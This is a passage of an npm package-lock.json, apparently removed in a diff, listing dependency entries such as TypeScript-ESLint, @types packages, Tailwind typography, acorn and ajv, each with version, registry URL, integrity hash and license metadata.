- }
- },
- "node_modules/@swagger-api/apidom-reference/node_modules/brace-expansion": {
- "version": "2.0.2",
- "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.2.tgz",
- "integrity": "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==",
- "license": "MIT",
- "dependencies": {
- "balanced-match": "^1.0.0"
- }
- },
- "node_modules/@swagger-api/apidom-reference/node_modules/minimatch": {
- "version": "7.4.6",
- "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-7.4.6.tgz",
- "integrity": "sha512-sBz8G/YjVniEz6lKPNpKxXwazJe4c19fEfV2GDMX6AjFz+MX9uDWIZW8XreVhkFW3fkIdTv/gxWr/Kks5FFAVw==",
- "license": "ISC",
- "dependencies": {
- "brace-expansion": "^2.0.1"
- },
- "engines": {
- "node": ">=10"
- },
- "funding": {
- "url": "https://github.com/sponsors/isaacs"
- }
- },
- "node_modules/@swaggerexpert/cookie": {
- "version": "2.0.2",
- "resolved": "https://registry.npmjs.org/@swaggerexpert/cookie/-/cookie-2.0.2.tgz",
- "integrity": "sha512-DPI8YJ0Vznk4CT+ekn3rcFNq1uQwvUHZhH6WvTSPD0YKBIlMS9ur2RYKghXuxxOiqOam/i4lHJH4xTIiTgs3Mg==",
- "license": "Apache-2.0",
- "dependencies": {
- "apg-lite": "^1.0.3"
- },
- "engines": {
- "node": ">=12.20.0"
- }
- },
- "node_modules/@swaggerexpert/json-pointer": {
- "version": "2.10.2",
- "resolved": "https://registry.npmjs.org/@swaggerexpert/json-pointer/-/json-pointer-2.10.2.tgz",
- "integrity": "sha512-qMx1nOrzoB+PF+pzb26Q4Tc2sOlrx9Ba2UBNX9hB31Omrq+QoZ2Gly0KLrQWw4Of1AQ4J9lnD+XOdwOdcdXqqw==",
- "license": "Apache-2.0",
- "dependencies": {
- "apg-lite": "^1.0.4"
- },
- "engines": {
- "node": ">=12.20.0"
- }
- },
- "node_modules/@swc/helpers": {
- "version": "0.5.15",
- "resolved": "https://registry.npmjs.org/@swc/helpers/-/helpers-0.5.15.tgz",
- "integrity": "sha512-JQ5TuMi45Owi4/BIMAJBoSQoOJu12oOk/gADqlcUL9JEdHB8vyjUSsxqeNXnmXHjYKMi2WcYtezGEEhqUI/E2g==",
- "dependencies": {
- "tslib": "^2.8.0"
- }
- },
- "node_modules/@tailwindcss/typography": {
- "version": "0.5.16",
- "resolved": "https://registry.npmjs.org/@tailwindcss/typography/-/typography-0.5.16.tgz",
- "integrity": "sha512-0wDLwCVF5V3x3b1SGXPCDcdsbDHMBe+lkFzBRaHeLvNi+nrrnZ1lA18u+OTWO8iSWU2GxUOCvlXtDuqftc1oiA==",
- "dev": true,
- "dependencies": {
- "lodash.castarray": "^4.4.0",
- "lodash.isplainobject": "^4.0.6",
- "lodash.merge": "^4.6.2",
- "postcss-selector-parser": "6.0.10"
- },
- "peerDependencies": {
- "tailwindcss": ">=3.0.0 || insiders || >=4.0.0-alpha.20 || >=4.0.0-beta.1"
- }
- },
- "node_modules/@tailwindcss/typography/node_modules/postcss-selector-parser": {
- "version": "6.0.10",
- "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.0.10.tgz",
- "integrity": "sha512-IQ7TZdoaqbT+LCpShg46jnZVlhWD2w6iQYAcYXfHARZ7X1t/UGhhceQDs5X0cGqKvYlHNOuv7Oa1xmb0oQuA3w==",
- "dev": true,
- "dependencies": {
- "cssesc": "^3.0.0",
- "util-deprecate": "^1.0.2"
- },
- "engines": {
- "node": ">=4"
- }
- },
- "node_modules/@tinymce/tinymce-react": {
- "version": "6.2.1",
- "resolved": "https://registry.npmjs.org/@tinymce/tinymce-react/-/tinymce-react-6.2.1.tgz",
- "integrity": "sha512-P/xWz3sNeJ2kXykxBkxM+4vEUYFlqWuJFifcJTmIwqHODJc17eZWvtNapzqGD+mUjXglf3VePu7ojRV1kdK22A==",
- "license": "MIT",
- "dependencies": {
- "prop-types": "^15.6.2"
- },
- "peerDependencies": {
- "react": "^19.0.0 || ^18.0.0 || ^17.0.1 || ^16.7.0",
- "react-dom": "^19.0.0 || ^18.0.0 || ^17.0.1 || ^16.7.0",
- "tinymce": "^7.0.0 || ^6.0.0 || ^5.5.1"
- },
- "peerDependenciesMeta": {
- "tinymce": {
- "optional": true
- }
- }
- },
- "node_modules/@types/acorn": {
- "version": "4.0.6",
- "resolved": "https://registry.npmjs.org/@types/acorn/-/acorn-4.0.6.tgz",
- "integrity": "sha512-veQTnWP+1D/xbxVrPC3zHnCZRjSrKfhbMUlEA43iMZLu7EsnTtkJklIuwrCPbOi8YkvDQAiW05VQQFvvz9oieQ==",
- "dependencies": {
- "@types/estree": "*"
- }
- },
- "node_modules/@types/d3-array": {
- "version": "3.2.1",
- "resolved": "https://registry.npmjs.org/@types/d3-array/-/d3-array-3.2.1.tgz",
- "integrity": "sha512-Y2Jn2idRrLzUfAKV2LyRImR+y4oa2AntrgID95SHJxuMUrkNXmanDSed71sRNZysveJVt1hLLemQZIady0FpEg=="
- },
- "node_modules/@types/d3-color": {
- "version": "3.1.3",
- "resolved": "https://registry.npmjs.org/@types/d3-color/-/d3-color-3.1.3.tgz",
- "integrity": "sha512-iO90scth9WAbmgv7ogoq57O9YpKmFBbmoEoCHDB2xMBY0+/KVrqAaCDyCE16dUspeOvIxFFRI+0sEtqDqy2b4A=="
- },
- "node_modules/@types/d3-ease": {
- "version": "3.0.2",
- "resolved": "https://registry.npmjs.org/@types/d3-ease/-/d3-ease-3.0.2.tgz",
- "integrity": "sha512-NcV1JjO5oDzoK26oMzbILE6HW7uVXOHLQvHshBUW4UMdZGfiY6v5BeQwh9a9tCzv+CeefZQHJt5SRgK154RtiA=="
- },
- "node_modules/@types/d3-interpolate": {
- "version": "3.0.4",
- "resolved": "https://registry.npmjs.org/@types/d3-interpolate/-/d3-interpolate-3.0.4.tgz",
- "integrity": "sha512-mgLPETlrpVV1YRJIglr4Ez47g7Yxjl1lj7YKsiMCb27VJH9W8NVM6Bb9d8kkpG/uAQS5AmbA48q2IAolKKo1MA==",
- "dependencies": {
- "@types/d3-color": "*"
- }
- },
- "node_modules/@types/d3-path": {
- "version": "3.1.0",
- "resolved": "https://registry.npmjs.org/@types/d3-path/-/d3-path-3.1.0.tgz",
- "integrity": "sha512-P2dlU/q51fkOc/Gfl3Ul9kicV7l+ra934qBFXCFhrZMOL6du1TM0pm1ThYvENukyOn5h9v+yMJ9Fn5JK4QozrQ=="
- },
- "node_modules/@types/d3-scale": {
- "version": "4.0.8",
- "resolved": "https://registry.npmjs.org/@types/d3-scale/-/d3-scale-4.0.8.tgz",
- "integrity": "sha512-gkK1VVTr5iNiYJ7vWDI+yUFFlszhNMtVeneJ6lUTKPjprsvLLI9/tgEGiXJOnlINJA8FyA88gfnQsHbybVZrYQ==",
- "dependencies": {
- "@types/d3-time": "*"
- }
- },
- "node_modules/@types/d3-shape": {
- "version": "3.1.6",
- "resolved": "https://registry.npmjs.org/@types/d3-shape/-/d3-shape-3.1.6.tgz",
- "integrity": "sha512-5KKk5aKGu2I+O6SONMYSNflgiP0WfZIQvVUMan50wHsLG1G94JlxEVnCpQARfTtzytuY0p/9PXXZb3I7giofIA==",
- "dependencies": {
- "@types/d3-path": "*"
- }
- },
- "node_modules/@types/d3-time": {
- "version": "3.0.4",
- "resolved": "https://registry.npmjs.org/@types/d3-time/-/d3-time-3.0.4.tgz",
- "integrity": "sha512-yuzZug1nkAAaBlBBikKZTgzCeA+k1uy4ZFwWANOfKw5z5LRhV0gNA7gNkKm7HoK+HRN0wX3EkxGk0fpbWhmB7g=="
- },
- "node_modules/@types/d3-timer": {
- "version": "3.0.2",
- "resolved": "https://registry.npmjs.org/@types/d3-timer/-/d3-timer-3.0.2.tgz",
- "integrity": "sha512-Ps3T8E8dZDam6fUyNiMkekK3XUsaUEik+idO9/YjPtfj2qruF8tFBXS7XhtE4iIXBLxhmLjP3SXpLhVf21I9Lw=="
- },
- "node_modules/@types/debug": {
- "version": "4.1.12",
- "resolved": "https://registry.npmjs.org/@types/debug/-/debug-4.1.12.tgz",
- "integrity": "sha512-vIChWdVG3LG1SMxEvI/AK+FWJthlrqlTu7fbrlywTkkaONwk/UAGaULXRlf8vkzFBLVm0zkMdCquhL5aOjhXPQ==",
- "dependencies": {
- "@types/ms": "*"
- }
- },
- "node_modules/@types/dlv": {
- "version": "1.1.5",
- "resolved": "https://registry.npmjs.org/@types/dlv/-/dlv-1.1.5.tgz",
- "integrity": "sha512-JHOWNfiWepAhfwlSw17kiWrWrk6od2dEQgHltJw9AS0JPFoLZJBge5+Dnil2NfdjAvJ/+vGSX60/BRW20PpUXw==",
- "license": "MIT",
- "peer": true
- },
- "node_modules/@types/estree": {
- "version": "1.0.6",
- "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.6.tgz",
- "integrity": "sha512-AYnb1nQyY49te+VRAVgmzfcgjYS91mY5P0TKUDCLEM+gNnA+3T6rWITXRLYCpahpqSQbN5cE+gHpnPyXjHWxcw=="
- },
- "node_modules/@types/estree-jsx": {
- "version": "1.0.5",
- "resolved": "https://registry.npmjs.org/@types/estree-jsx/-/estree-jsx-1.0.5.tgz",
- "integrity": "sha512-52CcUVNFyfb1A2ALocQw/Dd1BQFNmSdkuC3BkZ6iqhdMfQz7JWOFRuJFloOzjk+6WijU56m9oKXFAXc7o3Towg==",
- "dependencies": {
- "@types/estree": "*"
- }
- },
- "node_modules/@types/hast": {
- "version": "3.0.4",
- "resolved": "https://registry.npmjs.org/@types/hast/-/hast-3.0.4.tgz",
- "integrity": "sha512-WPs+bbQw5aCj+x6laNGWLH3wviHtoCv/P3+otBhbOhJgG8qtpdAMlTCxLtsTWA7LH1Oh/bFCHsBn0TPS5m30EQ==",
- "dependencies": {
- "@types/unist": "*"
- }
- },
- "node_modules/@types/json-schema": {
- "version": "7.0.15",
- "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.15.tgz",
- "integrity": "sha512-5+fP8P8MFNC+AyZCDxrB2pkZFPGzqQWUzpSeuuVLvm8VMcorNYavBqoFcxK8bQz4Qsbn4oUEEem4wDLfcysGHA==",
- "dev": true
- },
- "node_modules/@types/json5": {
- "version": "0.0.29",
- "resolved": "https://registry.npmjs.org/@types/json5/-/json5-0.0.29.tgz",
- "integrity": "sha512-dRLjCWHYg4oaA77cxO64oO+7JwCwnIzkZPdrrC71jQmQtlhM556pwKo5bUzqvZndkVbeFLIIi+9TC40JNF5hNQ=="
- },
- "node_modules/@types/mdast": {
- "version": "4.0.4",
- "resolved": "https://registry.npmjs.org/@types/mdast/-/mdast-4.0.4.tgz",
- "integrity": "sha512-kGaNbPh1k7AFzgpud/gMdvIm5xuECykRR+JnWKQno9TAXVa6WIVCGTPvYGekIDL4uwCZQSYbUxNBSb1aUo79oA==",
- "dependencies": {
- "@types/unist": "*"
- }
- },
- "node_modules/@types/mdx": {
- "version": "2.0.13",
- "resolved": "https://registry.npmjs.org/@types/mdx/-/mdx-2.0.13.tgz",
- "integrity": "sha512-+OWZQfAYyio6YkJb3HLxDrvnx6SWWDbC0zVPfBRzUk0/nqoDyf6dNxQi3eArPe8rJ473nobTMQ/8Zk+LxJ+Yuw=="
- },
- "node_modules/@types/ms": {
- "version": "0.7.34",
- "resolved": "https://registry.npmjs.org/@types/ms/-/ms-0.7.34.tgz",
- "integrity": "sha512-nG96G3Wp6acyAgJqGasjODb+acrI7KltPiRxzHPXnP3NgI28bpQDRv53olbqGXbfcgF5aiiHmO3xpwEpS5Ld9g=="
- },
- "node_modules/@types/node": {
- "version": "20.17.10",
- "resolved": "https://registry.npmjs.org/@types/node/-/node-20.17.10.tgz",
- "integrity": "sha512-/jrvh5h6NXhEauFFexRin69nA0uHJ5gwk4iDivp/DeoEua3uwCUto6PC86IpRITBOs4+6i2I56K5x5b6WYGXHA==",
- "dependencies": {
- "undici-types": "~6.19.2"
- }
- },
- "node_modules/@types/prismjs": {
- "version": "1.26.5",
- "resolved": "https://registry.npmjs.org/@types/prismjs/-/prismjs-1.26.5.tgz",
- "integrity": "sha512-AUZTa7hQ2KY5L7AmtSiqxlhWxb4ina0yd8hNbl4TWuqnv/pFP0nDMb3YrfSBf4hJVGLh2YEIBfKaBW/9UEl6IQ==",
- "license": "MIT"
- },
- "node_modules/@types/prop-types": {
- "version": "15.7.14",
- "resolved": "https://registry.npmjs.org/@types/prop-types/-/prop-types-15.7.14.tgz",
- "integrity": "sha512-gNMvNH49DJ7OJYv+KAKn0Xp45p8PLl6zo2YnvDIbTd4J6MER2BmWN49TG7n9LvkyihINxeKW8+3bfS2yDC9dzQ=="
- },
- "node_modules/@types/ramda": {
- "version": "0.30.2",
- "resolved": "https://registry.npmjs.org/@types/ramda/-/ramda-0.30.2.tgz",
- "integrity": "sha512-PyzHvjCalm2BRYjAU6nIB3TprYwMNOUY/7P/N8bSzp9W/yM2YrtGtAnnVtaCNSeOZ8DzKyFDvaqQs7LnWwwmBA==",
- "license": "MIT",
- "dependencies": {
- "types-ramda": "^0.30.1"
- }
- },
- "node_modules/@types/react": {
- "version": "18.3.16",
- "resolved": "https://registry.npmjs.org/@types/react/-/react-18.3.16.tgz",
- "integrity": "sha512-oh8AMIC4Y2ciKufU8hnKgs+ufgbA/dhPTACaZPM86AbwX9QwnFtSoPWEeRUj8fge+v6kFt78BXcDhAU1SrrAsw==",
- "dependencies": {
- "@types/prop-types": "*",
- "csstype": "^3.0.2"
- }
- },
- "node_modules/@types/react-dom": {
- "version": "18.3.5",
- "resolved": "https://registry.npmjs.org/@types/react-dom/-/react-dom-18.3.5.tgz",
- "integrity": "sha512-P4t6saawp+b/dFrUr2cvkVsfvPguwsxtH6dNIYRllMsefqFzkZk5UIjzyDOv5g1dXIPdG4Sp1yCR4Z6RCUsG/Q==",
- "peerDependencies": {
- "@types/react": "^18.0.0"
- }
- },
- "node_modules/@types/react-syntax-highlighter": {
- "version": "15.5.13",
- "resolved": "https://registry.npmjs.org/@types/react-syntax-highlighter/-/react-syntax-highlighter-15.5.13.tgz",
- "integrity": "sha512-uLGJ87j6Sz8UaBAooU0T6lWJ0dBmjZgN1PZTrj05TNql2/XpC6+4HhMT5syIdFUUt+FASfCeLLv4kBygNU+8qA==",
- "dependencies": {
- "@types/react": "*"
- }
- },
- "node_modules/@types/semver": {
- "version": "7.5.8",
- "resolved": "https://registry.npmjs.org/@types/semver/-/semver-7.5.8.tgz",
- "integrity": "sha512-I8EUhyrgfLrcTkzV3TSsGyl1tSuPrEDzr0yd5m90UgNxQkyDXULk3b6MlQqTCpZpNtWe1K0hzclnZkTcLBe2UQ==",
- "dev": true
- },
- "node_modules/@types/swagger-ui-react": {
- "version": "5.18.0",
- "resolved": "https://registry.npmjs.org/@types/swagger-ui-react/-/swagger-ui-react-5.18.0.tgz",
- "integrity": "sha512-c2M9adVG7t28t1pq19K9Jt20VLQf0P/fwJwnfcmsVVsdkwCWhRmbKDu+tIs0/NGwJ/7GY8lBx+iKZxuDI5gDbw==",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "@types/react": "*"
- }
- },
- "node_modules/@types/trusted-types": {
- "version": "2.0.7",
- "resolved": "https://registry.npmjs.org/@types/trusted-types/-/trusted-types-2.0.7.tgz",
- "integrity": "sha512-ScaPdn1dQczgbl0QFTeTOmVHFULt394XJgOQNoyVhZ6r2vLnMLJfBPd53SB52T/3G36VI1/g2MZaX0cwDuXsfw==",
- "license": "MIT",
- "optional": true
- },
- "node_modules/@types/unist": {
- "version": "3.0.3",
- "resolved": "https://registry.npmjs.org/@types/unist/-/unist-3.0.3.tgz",
- "integrity": "sha512-ko/gIFJRv177XgZsZcBwnqJN5x/Gien8qNOn0D5bQU/zAzVf9Zt3BlcUiLqhV9y4ARk0GbT3tnUiPNgnTXzc/Q=="
- },
- "node_modules/@types/use-sync-external-store": {
- "version": "0.0.6",
- "resolved": "https://registry.npmjs.org/@types/use-sync-external-store/-/use-sync-external-store-0.0.6.tgz",
- "integrity": "sha512-zFDAD+tlpf2r4asuHEj0XH6pY6i0g5NeAHPn+15wk3BV6JA69eERFXC1gyGThDkVa1zCyKr5jox1+2LbV/AMLg==",
- "license": "MIT"
- },
- "node_modules/@typescript-eslint/eslint-plugin": {
- "version": "6.21.0",
- "resolved": "https://registry.npmjs.org/@typescript-eslint/eslint-plugin/-/eslint-plugin-6.21.0.tgz",
- "integrity": "sha512-oy9+hTPCUFpngkEZUSzbf9MxI65wbKFoQYsgPdILTfbUldp5ovUuphZVe4i30emU9M/kP+T64Di0mxl7dSw3MA==",
- "dev": true,
- "dependencies": {
- "@eslint-community/regexpp": "^4.5.1",
- "@typescript-eslint/scope-manager": "6.21.0",
- "@typescript-eslint/type-utils": "6.21.0",
- "@typescript-eslint/utils": "6.21.0",
- "@typescript-eslint/visitor-keys": "6.21.0",
- "debug": "^4.3.4",
- "graphemer": "^1.4.0",
- "ignore": "^5.2.4",
- "natural-compare": "^1.4.0",
- "semver": "^7.5.4",
- "ts-api-utils": "^1.0.1"
- },
- "engines": {
- "node": "^16.0.0 || >=18.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/typescript-eslint"
- },
- "peerDependencies": {
- "@typescript-eslint/parser": "^6.0.0 || ^6.0.0-alpha",
- "eslint": "^7.0.0 || ^8.0.0"
- },
- "peerDependenciesMeta": {
- "typescript": {
- "optional": true
- }
- }
- },
- "node_modules/@typescript-eslint/parser": {
- "version": "6.21.0",
- "resolved": "https://registry.npmjs.org/@typescript-eslint/parser/-/parser-6.21.0.tgz",
- "integrity": "sha512-tbsV1jPne5CkFQCgPBcDOt30ItF7aJoZL997JSF7MhGQqOeT3svWRYxiqlfA5RUdlHN6Fi+EI9bxqbdyAUZjYQ==",
- "dependencies": {
- "@typescript-eslint/scope-manager": "6.21.0",
- "@typescript-eslint/types": "6.21.0",
- "@typescript-eslint/typescript-estree": "6.21.0",
- "@typescript-eslint/visitor-keys": "6.21.0",
- "debug": "^4.3.4"
- },
- "engines": {
- "node": "^16.0.0 || >=18.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/typescript-eslint"
- },
- "peerDependencies": {
- "eslint": "^7.0.0 || ^8.0.0"
- },
- "peerDependenciesMeta": {
- "typescript": {
- "optional": true
- }
- }
- },
- "node_modules/@typescript-eslint/scope-manager": {
- "version": "6.21.0",
- "resolved": "https://registry.npmjs.org/@typescript-eslint/scope-manager/-/scope-manager-6.21.0.tgz",
- "integrity": "sha512-OwLUIWZJry80O99zvqXVEioyniJMa+d2GrqpUTqi5/v5D5rOrppJVBPa0yKCblcigC0/aYAzxxqQ1B+DS2RYsg==",
- "dependencies": {
- "@typescript-eslint/types": "6.21.0",
- "@typescript-eslint/visitor-keys": "6.21.0"
- },
- "engines": {
- "node": "^16.0.0 || >=18.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/typescript-eslint"
- }
- },
- "node_modules/@typescript-eslint/type-utils": {
- "version": "6.21.0",
- "resolved": "https://registry.npmjs.org/@typescript-eslint/type-utils/-/type-utils-6.21.0.tgz",
- "integrity": "sha512-rZQI7wHfao8qMX3Rd3xqeYSMCL3SoiSQLBATSiVKARdFGCYSRvmViieZjqc58jKgs8Y8i9YvVVhRbHSTA4VBag==",
- "dev": true,
- "dependencies": {
- "@typescript-eslint/typescript-estree": "6.21.0",
- "@typescript-eslint/utils": "6.21.0",
- "debug": "^4.3.4",
- "ts-api-utils": "^1.0.1"
- },
- "engines": {
- "node": "^16.0.0 || >=18.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/typescript-eslint"
- },
- "peerDependencies": {
- "eslint": "^7.0.0 || ^8.0.0"
- },
- "peerDependenciesMeta": {
- "typescript": {
- "optional": true
- }
- }
- },
- "node_modules/@typescript-eslint/types": {
- "version": "6.21.0",
- "resolved": "https://registry.npmjs.org/@typescript-eslint/types/-/types-6.21.0.tgz",
- "integrity": "sha512-1kFmZ1rOm5epu9NZEZm1kckCDGj5UJEf7P1kliH4LKu/RkwpsfqqGmY2OOcUs18lSlQBKLDYBOGxRVtrMN5lpg==",
- "engines": {
- "node": "^16.0.0 || >=18.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/typescript-eslint"
- }
- },
- "node_modules/@typescript-eslint/typescript-estree": {
- "version": "6.21.0",
- "resolved": "https://registry.npmjs.org/@typescript-eslint/typescript-estree/-/typescript-estree-6.21.0.tgz",
- "integrity": "sha512-6npJTkZcO+y2/kr+z0hc4HwNfrrP4kNYh57ek7yCNlrBjWQ1Y0OS7jiZTkgumrvkX5HkEKXFZkkdFNkaW2wmUQ==",
- "dependencies": {
- "@typescript-eslint/types": "6.21.0",
- "@typescript-eslint/visitor-keys": "6.21.0",
- "debug": "^4.3.4",
- "globby": "^11.1.0",
- "is-glob": "^4.0.3",
- "minimatch": "9.0.3",
- "semver": "^7.5.4",
- "ts-api-utils": "^1.0.1"
- },
- "engines": {
- "node": "^16.0.0 || >=18.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/typescript-eslint"
- },
- "peerDependenciesMeta": {
- "typescript": {
- "optional": true
- }
- }
- },
- "node_modules/@typescript-eslint/typescript-estree/node_modules/brace-expansion": {
- "version": "2.0.2",
- "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.2.tgz",
- "integrity": "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==",
- "license": "MIT",
- "dependencies": {
- "balanced-match": "^1.0.0"
- }
- },
- "node_modules/@typescript-eslint/typescript-estree/node_modules/minimatch": {
- "version": "9.0.3",
- "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.3.tgz",
- "integrity": "sha512-RHiac9mvaRw0x3AYRgDC1CxAP7HTcNrrECeA8YYJeWnpo+2Q5CegtZjaotWTWxDG3UeGA1coE05iH1mPjT/2mg==",
- "dependencies": {
- "brace-expansion": "^2.0.1"
- },
- "engines": {
- "node": ">=16 || 14 >=14.17"
- },
- "funding": {
- "url": "https://github.com/sponsors/isaacs"
- }
- },
- "node_modules/@typescript-eslint/utils": {
- "version": "6.21.0",
- "resolved": "https://registry.npmjs.org/@typescript-eslint/utils/-/utils-6.21.0.tgz",
- "integrity": "sha512-NfWVaC8HP9T8cbKQxHcsJBY5YE1O33+jpMwN45qzWWaPDZgLIbo12toGMWnmhvCpd3sIxkpDw3Wv1B3dYrbDQQ==",
- "dev": true,
- "dependencies": {
- "@eslint-community/eslint-utils": "^4.4.0",
- "@types/json-schema": "^7.0.12",
- "@types/semver": "^7.5.0",
- "@typescript-eslint/scope-manager": "6.21.0",
- "@typescript-eslint/types": "6.21.0",
- "@typescript-eslint/typescript-estree": "6.21.0",
- "semver": "^7.5.4"
- },
- "engines": {
- "node": "^16.0.0 || >=18.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/typescript-eslint"
- },
- "peerDependencies": {
- "eslint": "^7.0.0 || ^8.0.0"
- }
- },
- "node_modules/@typescript-eslint/visitor-keys": {
- "version": "6.21.0",
- "resolved": "https://registry.npmjs.org/@typescript-eslint/visitor-keys/-/visitor-keys-6.21.0.tgz",
- "integrity": "sha512-JJtkDduxLi9bivAB+cYOVMtbkqdPOhZ+ZI5LC47MIRrDV4Yn2o+ZnW10Nkmr28xRpSpdJ6Sm42Hjf2+REYXm0A==",
- "dependencies": {
- "@typescript-eslint/types": "6.21.0",
- "eslint-visitor-keys": "^3.4.1"
- },
- "engines": {
- "node": "^16.0.0 || >=18.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/typescript-eslint"
- }
- },
- "node_modules/@ungap/structured-clone": {
- "version": "1.2.1",
- "resolved": "https://registry.npmjs.org/@ungap/structured-clone/-/structured-clone-1.2.1.tgz",
- "integrity": "sha512-fEzPV3hSkSMltkw152tJKNARhOupqbH96MZWyRjNaYZOMIzbrTeQDG+MTc6Mr2pgzFQzFxAfmhGDNP5QK++2ZA=="
- },
- "node_modules/@vercel/speed-insights": {
- "version": "1.2.0",
- "resolved": "https://registry.npmjs.org/@vercel/speed-insights/-/speed-insights-1.2.0.tgz",
- "integrity": "sha512-y9GVzrUJ2xmgtQlzFP2KhVRoCglwfRQgjyfY607aU0hh0Un6d0OUyrJkjuAlsV18qR4zfoFPs/BiIj9YDS6Wzw==",
- "hasInstallScript": true,
- "peerDependencies": {
- "@sveltejs/kit": "^1 || ^2",
- "next": ">= 13",
- "react": "^18 || ^19 || ^19.0.0-rc",
- "svelte": ">= 4",
- "vue": "^3",
- "vue-router": "^4"
- },
- "peerDependenciesMeta": {
- "@sveltejs/kit": {
- "optional": true
- },
- "next": {
- "optional": true
- },
- "react": {
- "optional": true
- },
- "svelte": {
- "optional": true
- },
- "vue": {
- "optional": true
- },
- "vue-router": {
- "optional": true
- }
- }
- },
- "node_modules/acorn": {
- "version": "8.14.0",
- "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.14.0.tgz",
- "integrity": "sha512-cl669nCJTZBsL97OF4kUQm5g5hC2uihk0NxY3WENAC0TYdILVkAyHymAntgxGkl7K+t0cXIrH5siy5S4XkFycA==",
- "bin": {
- "acorn": "bin/acorn"
- },
- "engines": {
- "node": ">=0.4.0"
- }
- },
- "node_modules/acorn-jsx": {
- "version": "5.3.2",
- "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-5.3.2.tgz",
- "integrity": "sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==",
- "peerDependencies": {
- "acorn": "^6.0.0 || ^7.0.0 || ^8.0.0"
- }
- },
- "node_modules/ajv": {
- "version": "6.12.6",
- "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz",
- "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==",
- "dependencies": {
- "fast-deep-equal": "^3.1.1",
- "fast-json-stable-stringify": "^2.0.0",
- "json-schema-traverse": "^0.4.1",
- "uri-js": "^4.2.2"
- },
- "funding": {
- "type": "github",
- "url": "https://github.com/sponsors/epoberezkin"
- }
- },
- "node_modules/analytics": {
- "version": "0.8.19",
- "resolved": "https://registry.npmjs.org/analytics/-/analytics-0.8.19.tgz",
- "integrity": "sha512-JFgasxpWFiAoqm5UHaGQv9j9OGz+f1KAeQkABYr3Z7YGhiqhQrBpPhIVAIEyttBRJZmew1QwMhN9/bOGGBnpJA==",
- "funding": [
- {
- "type": "GitHub Sponsors",
- "url": "https://github.com/sponsors/davidwells"
- }
- ],
- "license": "MIT",
- "dependencies": {
- "@analytics/core": "^0.13.2",
- "@analytics/storage-utils": "^0.4.4"
- }
- },
- "node_modules/analytics-utils": {
- "version": "1.1.1",
- "resolved": "https://registry.npmjs.org/analytics-utils/-/analytics-utils-1.1.1.tgz",
- "integrity": "sha512-nRybjTpRAcHVhWb1cvYaOLJaI3R79r8XjMbu5c0wd2jKmANNqSrYwybiU0X3mp+CQQdm4YiAggTXb2cIA8XhUg==",
- "license": "MIT",
- "dependencies": {
- "@analytics/type-utils": "^0.6.4",
- "dlv": "^1.1.3"
- },
- "peerDependencies": {
- "@types/dlv": "^1.0.0"
- }
- },
- "node_modules/ansi-regex": {
- "version": "5.0.1",
- "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
- "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==",
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/ansi-styles": {
- "version": "4.3.0",
- "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
- "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
- "dependencies": {
- "color-convert": "^2.0.1"
- },
- "engines": {
- "node": ">=8"
- },
- "funding": {
- "url": "https://github.com/chalk/ansi-styles?sponsor=1"
- }
- },
- "node_modules/any-promise": {
- "version": "1.3.0",
- "resolved": "https://registry.npmjs.org/any-promise/-/any-promise-1.3.0.tgz",
- "integrity": "sha512-7UvmKalWRt1wgjL1RrGxoSJW/0QZFIegpeGvZG9kjp8vrRu55XTHbwnqq2GpXm9uLbcuhxm3IqX9OB4MZR1b2A=="
- },
- "node_modules/anymatch": {
- "version": "3.1.3",
- "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz",
- "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==",
- "dependencies": {
- "normalize-path": "^3.0.0",
- "picomatch": "^2.0.4"
- },
- "engines": {
- "node": ">= 8"
- }
- },
- "node_modules/apg-lite": {
- "version": "1.0.5",
- "resolved": "https://registry.npmjs.org/apg-lite/-/apg-lite-1.0.5.tgz",
- "integrity": "sha512-SlI+nLMQDzCZfS39ihzjGp3JNBQfJXyMi6cg9tkLOCPVErgFsUIAEdO9IezR7kbP5Xd0ozcPNQBkf9TO5cHgWw==",
- "license": "BSD-2-Clause"
- },
